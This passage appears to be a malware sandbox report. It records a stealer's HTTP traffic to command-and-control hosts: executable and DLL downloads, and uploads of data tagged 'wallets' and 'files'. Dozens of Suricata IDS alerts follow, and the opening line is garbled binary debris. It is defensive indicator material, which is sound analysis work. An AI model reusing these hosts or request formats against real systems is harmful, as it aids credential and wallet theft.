?^|^^&/8hYN2#bjXgV"5P0{.C9BMqyulmQ-RNioAns+%kCucRpTe)HhS0%PO.eeif)'3($4;:4f2vh--------------------------60CTYxI6rdJqAQo1JS1BXw--
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 31 37 31 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1017197001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: */*Content-Length: 10166Content-Type: multipart/form-data; boundary=------------------------BULXCENdnYngMP5EGLUWgJData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 55 4c 58 43 45 4e 64 6e 59 6e 67 4d 50 35 45 47 4c 55 57 67 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 6f 72 6f 6c 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a b0 e4 87 63 f9 26 c8 20 4e dd ec 10 d8 fa d1 48 f8 88 42 e2 52 47 44 ac 72 74 7e 4d 13 18 37 a8 f1 72 6c ae 44 9a b2 6c c5 4d e6 1c 4e 56 54 a0 31 91 c5 b5 5d 3f a7 fb 07 fb 54 f8 0e 5e d7 db 1b 44 48 f7 8b 24 6d 6c 0e 5a da a1 1e 6d 0a ad 4f 0c ce 2a 74 de 28 37 73 88 92 8e 26 c2 2f 96 c4 e0 c1 b1 84 82 7a 61 ff cf 5b b6 8f 34 1e 51 c6 5f 73 e1 77 43 5b 4e 03 2e f3 a8 e5 83 3f 8b ec 63 a6 e7 3a 0e 9d a4 c2 4c 6c 0c d5 06 a5 3a 3d 6b de e5 78 ff 95 94 99 40 3b 0d 2c 12 61 18 26 c0 15 05 5f 27 b4 c6 dc 61 80 c1 5c d6 9e 84 b8 6a 21 0b 55 8e 10 da 0d a6 16 5b 4e ea 6c 98 cc 24 e1 36 f2 10 1e f5 ea 1d c3 3e 34 ea 0c b4 52 26 07 44 e2 35 5c fe d4 78 3b 8e cf f7 68 92 bb 8e 0e df 72 cf b7 29 bd 19 e4 b4 81 ce 0b 3b 3b bb 7d 5e cb 51 92 f1 72 ee be 13 48 02 4b 72 4d 02 6d 11 f5 da 74 f3 4c a4 6f 49 a6 17 e4 73 ed 27 1b c3 e4 27 a6 57 98 68 47 d0 04 f8 d8 a8 eb 0c 41 bb 54 67 96 0c d6 68 01 1e d7 e0 2c df 40 a8 e2 04 bd bf d1 be 17 5b 67 68 a9 f4 8d 5f f5 26 be ec c9 fa bd 22 b5 a5 a8 c6 dd 8f 8b 27 80 57 8b 32 e0 74 8e e9 7c 5b 55 7e ae d6 72 6e cc 58 41 39 f9 57 2c 00 e9 6a 5d da d3 7b 4e 04 18 ea ae 0d 14 f0 c3 51 62 fb f7 b0 7a a2 55 fd 70 6e e9 f5 ef 5e fc 33 8a 34 03 47 a9 e7 93 31 16 f6 23 ae 26 20 22 64 02 9b 02 c1 2b e9 5e 00 0d 22 13 d9 01 9a eb cf a9 71 4b ed 47 43 50 94 22 a4 e9 ec bd 2e 1d a2 bc 16 6b 08 f5 fe 91 31 dd 97 b9 b1 30 5e d8 a2 39 22 8f 4c 28 a6 8e ab 54 46 67 f1 b3 dc 37 20 6e fa 58 b2 d4 f9 e2 4f 73 35 d6 de f1 8d db d4 33 8f bd b0 ea 0f 7e c6 44 07 28 ad 63 a0 c5 25 dc 74 87 91 e6 c3 a8 5f d8 15 2d 8c bd d1 09 0d b1 de ec 01 6c 0d 41 e7 d9 bc e8 5a 6d b2 96 5b 2d 20 41 64 3e ac 8a ee 33 e9 9f cf 28 1e d1 09 22 ff 26 1f bf 44 d3 8f 8c f3 a2 af 16 7d 41 0f a4 ba 6b fa 81 5f 80 8a 8d da 58 97 7c 2d 73 36 09 9a 7d 5f d6 1e a2 c0 7b ef 65 ca dc a6 62 8d 54 57 bd de 92 11 5e e4 e2 b1 9b 15 33 5b 9a 08 ee 46 7b 60 14 35 e9 e7 bc dd 21 00 38 ce c3 29 21 67 f8 fc 90 31 ae 1c 3a 50 3f 92 1c a5 8e 95 3e 48 74 81 6a 80 c7 eb ef 53 a5 14 77 30 4e 47 b6 fe a5 04 e7 9e e9 3d 6b ca 37 52 f8 f3 42 19 97 8e d6 d0 87 d5 cf 8f 67 99 8a f8 3f 5f 5f c4 3a ad 9b 9d 4e d4 c8 f8 46 4d 60 ae f9 94 cc ac e6 6c 04 74 0a fc fd 0f 1b e9 82 b3 02 1a f4 ad 41 ea e9 82 58 db 36 ab 25 d9 1d ff e0 21 b9 1a 88 5f c3 77 69 1e 05 01 05 18 f3 41 51 68 9b 1a d7 aa e3 df 12 4d df 59 b4 67 ca 79 cf 51 4a 7d
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="file"------BAAAAKJKJEBGHJKFHIDG--
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017198001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: */*Content-Length: 28649Content-Type: multipart/form-data; boundary=------------------------RqCjWjWZzq9CG9l3VTgP0LData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 52 71 43 6a 57 6a 57 5a 7a 71 39 43 47 39 6c 33 56 54 67 50 30 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 65 63 65 62 65 68 65 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 6f 21 f6 f5 04 45 d7 7f fb 28 f7 f6 59 3c b6 89 53 73 f0 0e 5d ad 02 2c 54 84 42 e2 9b 95 9f 01 a8 7e e3 e1 05 56 4f 32 66 73 15 f4 74 4c 9e 02 38 28 65 c1 5a e9 db 31 1b 46 4d 3a 18 d1 59 40 ce 12 bd 82 6b c9 94 43 15 82 94 8d d9 a5 72 7a 17 ff 38 63 b4 3f 2d 27 47 ab 6c 9c 2a 00 f1 6e c8 d6 f2 8d 34 f0 83 50 3c 8c 46 8c 84 83 82 ba bf b5 a6 8a 75 2a 53 11 d6 13 75 9a b4 a1 c1 3b 99 50 93 8b 44 6e 8d a0 11 08 9b be 0c 07 e9 67 2d d3 65 3e 40 eb af 88 eb fb 38 e6 44 e9 e6 a2 92 fb d3 63 ec cb 4b 08 fe 37 b2 52 a0 3f 31 00 0d 5b aa f7 d7 8d d1 c6 8e fe 07 3c a8 c3 fb 29 86 04 84 40 e0 c5 f4 ac 9d b7 c5 d6 24 93 32 c4 96 ef d1 d2 56 83 a5 dc e6 f5 8c 8c 46 85 8d d3 66 9f 4d 2f 17 5f 98 9d 8a 1c 64 c6 10 00 13 13 17 a5 18 12 f3 46 f1 a2 d6 af 38 1a f3 58 68 fb 57 e8 4b 11 ed 21 05 40 de 38 16 ae ad 02 1b 1e 80 c0 0f 15 6c 79 7f 51 af 4f b5 cb 8b 36 a3 aa ea 58 46 cb 0b bf 7c f7 1c 71 6a 50 a8 af 82 ac 71 50 35 8f fe 30 84 27 36 b6 ab 9d 2a 56 20 7e a7 9e 5e 89 af e2 7b 2b 77 b6 f8 07 67 f8 1d b5 61 90 a7 39 97 16 fb e2 5b f3 ac bb 2e 0c 1b 97 ea 44 e9 4a ca be f8 97 27 0b 70 0b 5b ff 3a 3a 60 e5 a8 b6 99 34 98 25 fb 1e b0 8b f4 a0 10 13 66 96 cf e7 47 70 b8 a6 66 be 20 b1 15 be 44 01 21 2b da 1e b9 04 a4 1c d0 69 74 13 e6 f4 a1 b3 71 42 9b f9 05 0b 8d c1 c3 4e bb 94 50 04 34 8c a7 71 1a e1 df d0 4a 29 7e 75 bd b1 07 13 02 91 27 0b c8 53 77 dd 09 e9 e9 61 82 e0 d6 5e cf 57 19 9b 26 76 4c ea a3 fe 49 2e a4 16 37 f4 69 e8 99 2c 41 a1 ab 13 c6 01 e7 84 23 8a 2b a1 55 af 76 59 8b 5a 6c 8d 80 a1 7d 9c 82 d1 47 c1 cb 51 aa c1 ea b6 14 6d 48 cd 5c 9c 54 49 72 61 55 c6 d6 a5 6f 84 5c c4 57 2a d5 df f6 9a 2a 9a d7 9f 26 6c 74 fa 80 fa 82 52 be 20 05 d7 28 d5 b9 bf e2 5a 7a 51 f4 2f 11 21 6c 5a 09 7b 81 63 fe 83 98 d5 d6 8c 21 73 08 4a da 57 46 e4 f6 12 c8 63 06 80 73 a4 20 3a 6a 14 ee 2e 60 a9 cc 0f c4 e0 3a bc de a9 a1 23 47 1e 37 a9 04 d7 28 2a 2e 16 4c 4b b5 b2 3b 58 41 9c b9 52 44 c6 99 a2 bb bd a4 2e a6 78 ef 2b 21 18 9d 87 84 b7 23 11 f0 90 00 0c 17 4a e1 2d 0e fe 2e 67 20 20 83 32 a9 5a 84 01 58 8f 55 99 55 f7 5e a7 45 4f 5c f3 6b 29 3e ca 8c d0 f3 c7 fc 75 56 4a a0 ab 6a a0 b9 09 b2 ec f3 11 f6 8f 01 97 f1 fd 7f e0 78 9f e2 af 55 6f b1 61 43 9a c1 8a 03 90 7b de 9c 69 14 6c fd 21 63 98 e2 05 fa c4 e7 8a e9 fd b2 58 57 bb d6 58 8f 73 f6 6f a2 74 87 6a 3f f2 dc fe 46 86 49 ff 52 6b 43
                                      Source: global trafficHTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: */*Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 75 77 32 37 56 68 71 6d 72 6b 5a 47 31 32 33 68 31 37 33 34 35 36 36 39 38 39 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "uw27VhqmrkZG123h1734566989", "data": "Done2" }
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 31 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017199001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="file"------EGDGDHJJDGHCAAAKEHIJ--
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 32 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017200001&unit=246122658369
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 2d 2d 0d 0a Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="message"wallets------FIJECAEHJJJKJKFIDGCB--
                                      Source: global trafficHTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 2d 2d 0d 0a Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="message"files------AAKEGIJEHJDGDHJKJKKJ--
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49801 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49834 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49855 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49861 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49863 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49868 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49874 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49879 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49895 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49886 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49915 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49907 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49923 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49922 -> 185.215.113.16:80
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49896 -> 185.215.113.16:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49929 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49937 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49946 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49952 -> 185.215.113.16:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49955 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49945 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49960 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49965 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49978 -> 185.215.113.16:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49983 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49987 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49988 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49999 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50010 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50006 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50011 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49993 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50017 -> 185.215.113.16:80
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50062 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50071 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50072 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50078 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50081 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50087 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50084 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50085 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50088 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50091 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50092 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50094 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50093 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50096 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50098 -> 104.21.23.76:443
